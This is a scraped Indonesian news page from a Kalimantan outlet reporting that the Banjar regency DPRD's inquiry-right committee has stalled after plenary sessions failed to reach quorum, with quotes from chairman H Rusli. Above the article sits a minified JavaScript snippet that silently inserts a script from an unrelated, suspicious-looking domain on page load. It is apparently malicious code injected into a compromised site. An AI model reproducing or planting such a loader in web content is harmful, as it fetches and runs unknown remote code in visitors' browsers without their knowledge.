(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kabar Hak Angket DPRD Banjar yang Semakin Gak Jelas Pertangungjawabannya


MARTAPURA, Setelah kehabisan tenaga di tengah jalan akibat penggembosan sejumlah anggotanya, kisah hak angket DPRD Banjar kini semakin tak jelas. Habisnya masa kerja pansus, sampai kini tak berujung pada laporan kinerja. Beberapa kali agenda pembahasan juga batal.

Terhitung sudah dua kali paripurna membahas hasil kinerja Pansus Hak Angket menguap begitu saja. Terakhir pada Senin (9/4) yang lalu, dangan alasan anggota belum tercapai kuorum, rapat akhirnya ditunda. Sebelumnya, paripurna agenda sama yang diagendakan pada Senin (26/3) lalu, juga batal dilaksanakan dengan sebab sama.

Hingga saat ini, agenda paripurana pembahasan hasil pansus Hak Angket seakan tidak jadi prioritas lagi. Pasalnya jika dilihat agenda kegiatan DPRD Kabupaten Banjar pada Mei ini, tak ada pembahasan terkait hasil kinerja angket.

Menanggapi hal tersebut, Ketua DPRD Kabupaten Banjar H Rusli S. AP, MM mengatakan, sejatinya harus secepatnya dilaksanakan. Apalagi ini sudah mereka bicarakan sebelumnya dengan Badan Kehormatan (BK) DPRD Kabupaten Banjar.

“Kami sebelumnya sudah mengintruksikan untuk Agenda Pansus Hak Angket dalam pelaksanaanya harus dipecah dan jangan digabung dengan agenda yang lain. Karena angket itu adalah hak inisiatif DPRD untuk memparipurnakannya,” terangnya.

Dari hasil penyampaian tersebut jelasnya dia selaku pimpinan akan melihat dan menelaah lagi bagaimana hasilnya. Apakah paripurna tersebut bisa dilanjutkan atau tidak, dan jika diteruskan apa sangsi yang akan diberikian pihaknya masih mendiskusikan hal tesebut. Menurutnya agenda hak angket harus diagendakan kembali terutama pada bulan depan.

“Ya hak angket rencananya bulan depan akan kita agendakan lagi, terkait tenggal pelaksanaannya tergantung dari rapat Banmus dulu,” tegas Rusli.

Ketika ditanya terkait apakah ada faktor kesengajaan ketidak hadiran anggota dewan dalam pembahasan hasil hak angket tesebut, Rusli mengatakan tidak bisa memastikan. Pasalnya dia mengaku pada agenda sebelumnya tidak dapat melihat secara langsung karena sedang mendampingi anaknya yang sedang sakit.

“Dikehadiran saya hari ini, saya tegaskan dan intruksikan kepada semua praksi, harus turun pada agenda hak angket yang akan datang, kalau dia merasa ini kewajiban karena sebagai abdi negara yang diusung oleh rakyat tentunya punya beban moral akan hal tersebut,” pungkasnya. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

7 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

10 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

14 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

18 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

19 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.